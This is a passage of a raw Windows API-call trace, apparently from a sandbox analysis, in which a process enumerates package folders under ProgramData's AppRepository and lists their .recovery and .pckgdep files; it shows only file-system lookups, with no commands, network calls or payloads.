Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0215.390] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7e [0215.390] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0215.391] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7f [0215.392] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d68de8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5a39ab5e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a39ab5e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.393] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d68de8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5a39ab5e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a39ab5e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.393] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3282f7, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a3282f7, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a39ab5e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0215.393] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3282f7, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a3282f7, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a3282f7, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.393] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3282f7, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a3282f7, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a3282f7, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0215.394] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.395] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy", lpFilePart=0x0) returned 0x85 [0215.395] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97467c96, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x97467c96, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x98754596, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.397] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97467c96, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x97467c96, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x98754596, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.398] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98754596, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x98754596, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x98754596, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x98c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0215.398] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97467c96, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x97467c96, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x97467c96, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.398] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.398] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.399] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy", lpFilePart=0x0) returned 0x85 [0215.399] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97467c96, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x97467c96, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x98754596, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.401] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97467c96, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x97467c96, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x98754596, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.401] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98754596, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x98754596, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x98754596, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x98c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0215.401] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97467c96, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x97467c96, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x97467c96, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.401] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97467c96, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x97467c96, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x97467c96, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0215.402] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.403] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x8c [0215.403] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59e006e4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5e455d80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5e455d80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.403] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59e006e4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5e455d80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5e455d80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.404] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e455d80, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5e455d80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5e455d80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0215.404] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e26990, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x59e26990, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x59e26990, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.404] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.404] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.404] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x8c [0215.405] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59e006e4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5e455d80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5e455d80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.405] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59e006e4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5e455d80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5e455d80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.405] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e455d80, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5e455d80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5e455d80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0215.406] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e26990, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x59e26990, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x59e26990, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.406] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e26990, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x59e26990, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x59e26990, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0215.406] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.406] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1510.12020.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1510.12020.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x76 [0215.406] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1510.12020.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1510.12020.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6f24701, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xa6f24701, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd5dd92fc, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.409] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6f24701, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xa6f24701, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd5dd92fc, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.409] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37d9839, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe37d9839, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xe38e4773, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x43c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0215.410] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.410] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.411] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1510.12020.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1510.12020.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x76 [0215.411] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1510.12020.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1510.12020.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6f24701, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd5dd92fc, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd5dd92fc, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.412] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6f24701, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd5dd92fc, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd5dd92fc, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.412] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37d9839, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe37d9839, 